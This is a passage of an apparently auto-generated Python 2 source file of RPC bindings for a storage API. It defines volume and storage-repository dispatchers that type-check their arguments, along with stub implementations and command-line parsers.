from xapi import success, Rpc_light_failure, InternalError, UnmarshalException, TypeError, is_long, UnknownMethod import xapi import sys import json import argparse import traceback import logging class Sr_not_attached(Rpc_light_failure): def __init__(self, arg_0): Rpc_light_failure.__init__(self, "Sr_not_attached", [ arg_0 ]) if not isinstance(arg_0, str) and not isinstance(arg_0, unicode): raise (TypeError("string", repr(arg_0))) self.arg_0 = arg_0 class SR_does_not_exist(Rpc_light_failure): def __init__(self, arg_0): Rpc_light_failure.__init__(self, "SR_does_not_exist", [ arg_0 ]) if not isinstance(arg_0, str) and not isinstance(arg_0, unicode): raise (TypeError("string", repr(arg_0))) self.arg_0 = arg_0 class Volume_does_not_exist(Rpc_light_failure): def __init__(self, arg_0): Rpc_light_failure.__init__(self, "Volume_does_not_exist", [ arg_0 ]) if not isinstance(arg_0, str) and not isinstance(arg_0, unicode): raise (TypeError("string", repr(arg_0))) self.arg_0 = arg_0 class Unimplemented(Rpc_light_failure): def __init__(self, arg_0): Rpc_light_failure.__init__(self, "Unimplemented", [ arg_0 ]) if not isinstance(arg_0, str) and not isinstance(arg_0, unicode): raise (TypeError("string", repr(arg_0))) self.arg_0 = arg_0 class Cancelled(Rpc_light_failure): def __init__(self, arg_0): Rpc_light_failure.__init__(self, "Cancelled", [ arg_0 ]) if not isinstance(arg_0, str) and not isinstance(arg_0, unicode): raise (TypeError("string", repr(arg_0))) self.arg_0 = arg_0 class Volume_server_dispatcher: """Operations which operate on volumes (also known as Virtual Disk Images)""" def __init__(self, impl): """impl is a proxy object whose methods contain the implementation""" self._impl = impl def create(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('name' in args): raise UnmarshalException('argument missing', 'name', '') name = args["name"] if not isinstance(name, str) and not isinstance(name, unicode): raise (TypeError("string", repr(name))) if not('description' in args): raise UnmarshalException('argument missing', 'description', '') description = args["description"] if not isinstance(description, str) and not isinstance(description, unicode): raise (TypeError("string", repr(description))) if not('size' in args): raise UnmarshalException('argument missing', 'size', '') size = args["size"] if not(is_long(size)): raise (TypeError("int64", repr(size))) results = self._impl.create(dbg, sr, name, description, size) if not isinstance(results['key'], str) and not isinstance(results['key'], unicode): raise (TypeError("string", repr(results['key']))) if results['uuid'] is not None: if not isinstance(results['uuid'], str) and not isinstance(results['uuid'], unicode): raise (TypeError("string", repr(results['uuid']))) if not isinstance(results['name'], str) and not isinstance(results['name'], unicode): raise (TypeError("string", repr(results['name']))) if not isinstance(results['description'], str) and not isinstance(results['description'], unicode): raise (TypeError("string", repr(results['description']))) if not isinstance(results['read_write'], bool): raise (TypeError("bool", repr(results['read_write']))) if not(is_long(results['virtual_size'])): raise (TypeError("int64", repr(results['virtual_size']))) if not(is_long(results['physical_utilisation'])): raise (TypeError("int64", repr(results['physical_utilisation']))) if not isinstance(results['uri'], list): raise (TypeError("string list", repr(results['uri']))) for tmp_5 in results['uri']: if not isinstance(tmp_5, str) and not isinstance(tmp_5, unicode): raise (TypeError("string", repr(tmp_5))) if not isinstance(results['keys'], dict): raise (TypeError("(string * string) list", repr(results['keys']))) for tmp_6 in results['keys'].keys(): if not isinstance(tmp_6, str) and not isinstance(tmp_6, unicode): raise (TypeError("string", repr(tmp_6))) for tmp_6 in results['keys'].values(): if not isinstance(tmp_6, str) and not isinstance(tmp_6, unicode): raise (TypeError("string", repr(tmp_6))) return results def snapshot(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) results = self._impl.snapshot(dbg, sr, key) if not isinstance(results['key'], str) and not isinstance(results['key'], unicode): raise (TypeError("string", repr(results['key']))) if results['uuid'] is not None: if not isinstance(results['uuid'], str) and not isinstance(results['uuid'], unicode): raise (TypeError("string", repr(results['uuid']))) if not isinstance(results['name'], str) and not isinstance(results['name'], unicode): raise (TypeError("string", repr(results['name']))) if not isinstance(results['description'], str) and not isinstance(results['description'], unicode): raise (TypeError("string", repr(results['description']))) if not isinstance(results['read_write'], bool): raise (TypeError("bool", repr(results['read_write']))) if not(is_long(results['virtual_size'])): raise (TypeError("int64", repr(results['virtual_size']))) if not(is_long(results['physical_utilisation'])): raise (TypeError("int64", repr(results['physical_utilisation']))) if not isinstance(results['uri'], list): raise (TypeError("string list", repr(results['uri']))) for tmp_7 in results['uri']: if not isinstance(tmp_7, str) and not isinstance(tmp_7, unicode): raise (TypeError("string", repr(tmp_7))) if not isinstance(results['keys'], dict): raise (TypeError("(string * string) list", repr(results['keys']))) for tmp_8 in results['keys'].keys(): if not isinstance(tmp_8, str) and not isinstance(tmp_8, unicode): raise (TypeError("string", repr(tmp_8))) for tmp_8 in results['keys'].values(): if not isinstance(tmp_8, str) and not isinstance(tmp_8, unicode): raise (TypeError("string", repr(tmp_8))) return results def clone(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) results = self._impl.clone(dbg, sr, key) if not isinstance(results['key'], str) and not isinstance(results['key'], unicode): raise (TypeError("string", repr(results['key']))) if results['uuid'] is not None: if not isinstance(results['uuid'], str) and not isinstance(results['uuid'], unicode): raise (TypeError("string", repr(results['uuid']))) if not isinstance(results['name'], str) and not isinstance(results['name'], unicode): raise (TypeError("string", repr(results['name']))) if not isinstance(results['description'], str) and not isinstance(results['description'], unicode): raise (TypeError("string", repr(results['description']))) if not isinstance(results['read_write'], bool): raise (TypeError("bool", repr(results['read_write']))) if not(is_long(results['virtual_size'])): raise (TypeError("int64", repr(results['virtual_size']))) if not(is_long(results['physical_utilisation'])): raise (TypeError("int64", repr(results['physical_utilisation']))) if not isinstance(results['uri'], list): raise (TypeError("string list", repr(results['uri']))) for tmp_9 in results['uri']: if not isinstance(tmp_9, str) and not isinstance(tmp_9, unicode): raise (TypeError("string", repr(tmp_9))) if not isinstance(results['keys'], dict): raise (TypeError("(string * string) list", repr(results['keys']))) for tmp_10 in results['keys'].keys(): if not isinstance(tmp_10, str) and not isinstance(tmp_10, unicode): raise (TypeError("string", repr(tmp_10))) for tmp_10 in results['keys'].values(): if not isinstance(tmp_10, str) and not isinstance(tmp_10, unicode): raise (TypeError("string", repr(tmp_10))) return results def destroy(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) results = self._impl.destroy(dbg, sr, key) return results def set_name(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) if not('new_name' in args): raise UnmarshalException('argument missing', 'new_name', '') new_name = args["new_name"] if not isinstance(new_name, str) and not isinstance(new_name, unicode): raise (TypeError("string", repr(new_name))) results = self._impl.set_name(dbg, sr, key, new_name) return results def set_description(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) if not('new_description' in args): raise UnmarshalException('argument missing', 'new_description', '') new_description = args["new_description"] if not isinstance(new_description, str) and not isinstance(new_description, unicode): raise (TypeError("string", repr(new_description))) results = self._impl.set_description(dbg, sr, key, new_description) return results def set(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) if not('k' in args): raise UnmarshalException('argument missing', 'k', '') k = args["k"] if not isinstance(k, str) and not isinstance(k, unicode): raise (TypeError("string", repr(k))) if not('v' in args): raise UnmarshalException('argument missing', 'v', '') v = args["v"] if not isinstance(v, str) and not isinstance(v, unicode): raise (TypeError("string", repr(v))) results = self._impl.set(dbg, sr, key, k, v) return results def unset(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) if not('k' in args): raise UnmarshalException('argument missing', 'k', '') k = args["k"] if not isinstance(k, str) and not isinstance(k, unicode): raise (TypeError("string", repr(k))) results = self._impl.unset(dbg, sr, key, k) return results def resize(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) if not('new_size' in args): raise UnmarshalException('argument missing', 'new_size', '') new_size = args["new_size"] if not(is_long(new_size)): raise (TypeError("int64", repr(new_size))) results = self._impl.resize(dbg, sr, key, new_size) return results def stat(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('key' in args): raise UnmarshalException('argument missing', 'key', '') key = args["key"] if not isinstance(key, str) and not isinstance(key, unicode): raise (TypeError("string", repr(key))) results = self._impl.stat(dbg, sr, key) if not isinstance(results['key'], str) and not isinstance(results['key'], unicode): raise (TypeError("string", repr(results['key']))) if results['uuid'] is not None: if not isinstance(results['uuid'], str) and not isinstance(results['uuid'], unicode): raise (TypeError("string", repr(results['uuid']))) if not isinstance(results['name'], str) and not isinstance(results['name'], unicode): raise (TypeError("string", repr(results['name']))) if not isinstance(results['description'], str) and not isinstance(results['description'], unicode): raise (TypeError("string", repr(results['description']))) if not isinstance(results['read_write'], bool): raise (TypeError("bool", repr(results['read_write']))) if not(is_long(results['virtual_size'])): raise (TypeError("int64", repr(results['virtual_size']))) if not(is_long(results['physical_utilisation'])): raise (TypeError("int64", repr(results['physical_utilisation']))) if not isinstance(results['uri'], list): raise (TypeError("string list", repr(results['uri']))) for tmp_11 in results['uri']: if not isinstance(tmp_11, str) and not isinstance(tmp_11, unicode): raise (TypeError("string", repr(tmp_11))) if not isinstance(results['keys'], dict): raise (TypeError("(string * string) list", repr(results['keys']))) for tmp_12 in results['keys'].keys(): if not isinstance(tmp_12, str) and not isinstance(tmp_12, unicode): raise (TypeError("string", repr(tmp_12))) for tmp_12 in results['keys'].values(): if not isinstance(tmp_12, str) and not isinstance(tmp_12, unicode): raise (TypeError("string", repr(tmp_12))) return results def _dispatch(self, method, params): """type check inputs, call implementation, type check outputs and return""" args = params[0] if method == "Volume.create": return success(self.create(args)) elif method == "Volume.snapshot": return success(self.snapshot(args)) elif method == "Volume.clone": return success(self.clone(args)) elif method == "Volume.destroy": return success(self.destroy(args)) elif method == "Volume.set_name": return success(self.set_name(args)) elif method == "Volume.set_description": return success(self.set_description(args)) elif method == "Volume.set": return success(self.set(args)) elif method == "Volume.unset": return success(self.unset(args)) elif method == "Volume.resize": return success(self.resize(args)) elif method == "Volume.stat": return success(self.stat(args)) class Volume_skeleton: """Operations which operate on volumes (also known as Virtual Disk Images)""" def __init__(self): pass def create(self, dbg, sr, name, description, size): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.create") def snapshot(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.snapshot") def clone(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.clone") def destroy(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.destroy") def set_name(self, dbg, sr, key, new_name): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.set_name") def set_description(self, dbg, sr, key, new_description): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.set_description") def set(self, dbg, sr, key, k, v): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.set") def unset(self, dbg, sr, key, k): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.unset") def resize(self, dbg, sr, key, new_size): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.resize") def stat(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" raise Unimplemented("Volume.stat") class Volume_test: """Operations which operate on volumes (also known as Virtual Disk Images)""" def __init__(self): pass def create(self, dbg, sr, name, description, size): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} result["volume"] = { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } } return result def snapshot(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} result["volume"] = { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } } return result def clone(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} result["volume"] = { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } } return result def destroy(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def set_name(self, dbg, sr, key, new_name): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def set_description(self, dbg, sr, key, new_description): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def set(self, dbg, sr, key, k, v): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def unset(self, dbg, sr, key, k): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def resize(self, dbg, sr, key, new_size): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} return result def stat(self, dbg, sr, key): """Operations which operate on volumes (also known as Virtual Disk Images)""" result = {} result["volume"] = { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } } return result class Volume_commandline(): """Parse command-line arguments and call an implementation.""" def __init__(self, impl): self.impl = impl self.dispatcher = Volume_server_dispatcher(self.impl) def _parse_create(self): """[create sr name description size] creates a new volume in [sr] with [name] and [description]. The volume will have size >= [size] i.e. it is always permissable for an implementation to round-up the volume to the nearest convenient block size""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[create sr name description size] creates a new volume in [sr] with [name] and [description]. The volume will have size >= [size] i.e. it is always permissable for an implementation to round-up the volume to the nearest convenient block size') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('name', action='store', help='A human-readable name to associate with the new disk. This name is intended to be short, to be a good summary of the disk.') parser.add_argument('description', action='store', help='A human-readable description to associate with the new disk. This can be arbitrarily long, up to the general string size limit.') parser.add_argument('size', action='store', help='A minimum size (in bytes) for the disk. Depending on the characteristics of the implementation this may be rounded up to (for example) the nearest convenient block size. The created disk will not be smaller than this size.') return vars(parser.parse_args()) def _parse_snapshot(self): """[snapshot sr volume] creates a new volue which is a snapshot of [volume] in [sr]. Snapshots should never be written to; they are intended for backup/restore only. Note the name and description are copied but any extra metadata associated by [set] is not copied.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[snapshot sr volume] creates a new volue which is a snapshot of [volume] in [sr]. Snapshots should never be written to; they are intended for backup/restore only. Note the name and description are copied but any extra metadata associated by [set] is not copied.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') return vars(parser.parse_args()) def _parse_clone(self): """[clone sr volume] creates a new volume which is a writable clone of [volume] in [sr]. Note the name and description are copied but any extra metadata associated by [set] is not copied.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[clone sr volume] creates a new volume which is a writable clone of [volume] in [sr]. Note the name and description are copied but any extra metadata associated by [set] is not copied.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') return vars(parser.parse_args()) def _parse_destroy(self): """[destroy sr volume] removes [volume] from [sr]""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[destroy sr volume] removes [volume] from [sr]') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') return vars(parser.parse_args()) def _parse_set_name(self): """[set_name sr volume new_name] changes the name of [volume]""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[set_name sr volume new_name] changes the name of [volume]') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') parser.add_argument('new_name', action='store', help='New name') return vars(parser.parse_args()) def _parse_set_description(self): """[set_description sr volume new_description] changes the description of [volume]""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[set_description sr volume new_description] changes the description of [volume]') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') parser.add_argument('new_description', action='store', help='New description') return vars(parser.parse_args()) def _parse_set(self): """[set sr volume key value] associates [key] with [value] in the metadata of [volume] Note these keys and values are not interpreted by the plugin; they are intended for the higher-level software only.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[set sr volume key value] associates [key] with [value] in the metadata of [volume] Note these keys and values are not interpreted by the plugin; they are intended for the higher-level software only.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') parser.add_argument('k', action='store', help='Key') parser.add_argument('v', action='store', help='Value') return vars(parser.parse_args()) def _parse_unset(self): """[unset sr volume key] removes [key] and any value associated with it from the metadata of [volume] Note these keys and values are not interpreted by the plugin; they are intended for the higher-level software only.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[unset sr volume key] removes [key] and any value associated with it from the metadata of [volume] Note these keys and values are not interpreted by the plugin; they are intended for the higher-level software only.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') parser.add_argument('k', action='store', help='Key') return vars(parser.parse_args()) def _parse_resize(self): """[resize sr volume new_size] enlarges [volume] to be at least [new_size].""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[resize sr volume new_size] enlarges [volume] to be at least [new_size].') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') parser.add_argument('new_size', action='store', help='New disk size') return vars(parser.parse_args()) def _parse_stat(self): """[stat sr volume] returns metadata associated with [volume].""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[stat sr volume] returns metadata associated with [volume].') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('key', action='store', help='The volume key') return vars(parser.parse_args()) def create(self): use_json = False try: request = self._parse_create() use_json = 'json' in request and request['json'] results = self.dispatcher.create(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def snapshot(self): use_json = False try: request = self._parse_snapshot() use_json = 'json' in request and request['json'] results = self.dispatcher.snapshot(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def clone(self): use_json = False try: request = self._parse_clone() use_json = 'json' in request and request['json'] results = self.dispatcher.clone(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def destroy(self): use_json = False try: request = self._parse_destroy() use_json = 'json' in request and request['json'] results = self.dispatcher.destroy(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def set_name(self): use_json = False try: request = self._parse_set_name() use_json = 'json' in request and request['json'] results = self.dispatcher.set_name(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def set_description(self): use_json = False try: request = self._parse_set_description() use_json = 'json' in request and request['json'] results = self.dispatcher.set_description(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def set(self): use_json = False try: request = self._parse_set() use_json = 'json' in request and request['json'] results = self.dispatcher.set(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def unset(self): use_json = False try: request = self._parse_unset() use_json = 'json' in request and request['json'] results = self.dispatcher.unset(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def resize(self): use_json = False try: request = self._parse_resize() use_json = 'json' in request and request['json'] results = self.dispatcher.resize(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def stat(self): use_json = False try: request = self._parse_stat() use_json = 'json' in request and request['json'] results = self.dispatcher.stat(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e class SR_server_dispatcher: """Operations which act on Storage Repositories""" def __init__(self, impl): """impl is a proxy object whose methods contain the implementation""" self._impl = impl def probe(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('uri' in args): raise UnmarshalException('argument missing', 'uri', '') uri = args["uri"] if not isinstance(uri, str) and not isinstance(uri, unicode): raise (TypeError("string", repr(uri))) results = self._impl.probe(dbg, uri) if not isinstance(results['srs'], list): raise (TypeError("7 list", repr(results['srs']))) for tmp_13 in results['srs']: if not isinstance(tmp_13['sr'], str) and not isinstance(tmp_13['sr'], unicode): raise (TypeError("string", repr(tmp_13['sr']))) if not isinstance(tmp_13['name'], str) and not isinstance(tmp_13['name'], unicode): raise (TypeError("string", repr(tmp_13['name']))) if not isinstance(tmp_13['description'], str) and not isinstance(tmp_13['description'], unicode): raise (TypeError("string", repr(tmp_13['description']))) if not(is_long(tmp_13['free_space'])): raise (TypeError("int64", repr(tmp_13['free_space']))) if not(is_long(tmp_13['total_space'])): raise (TypeError("int64", repr(tmp_13['total_space']))) if not isinstance(tmp_13['datasources'], list): raise (TypeError("string list", repr(tmp_13['datasources']))) for tmp_14 in tmp_13['datasources']: if not isinstance(tmp_14, str) and not isinstance(tmp_14, unicode): raise (TypeError("string", repr(tmp_14))) if not isinstance(tmp_13['clustered'], bool): raise (TypeError("bool", repr(tmp_13['clustered']))) if tmp_13['health'][0] == 'Healthy': if not isinstance(tmp_13['health'][1], str) and not isinstance(tmp_13['health'][1], unicode): raise (TypeError("string", repr(tmp_13['health'][1]))) elif tmp_13['health'][0] == 'Recovering': if not isinstance(tmp_13['health'][1], str) and not isinstance(tmp_13['health'][1], unicode): raise (TypeError("string", repr(tmp_13['health'][1]))) if not isinstance(results['uris'], list): raise (TypeError("string list", repr(results['uris']))) for tmp_15 in results['uris']: if not isinstance(tmp_15, str) and not isinstance(tmp_15, unicode): raise (TypeError("string", repr(tmp_15))) return results def create(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): 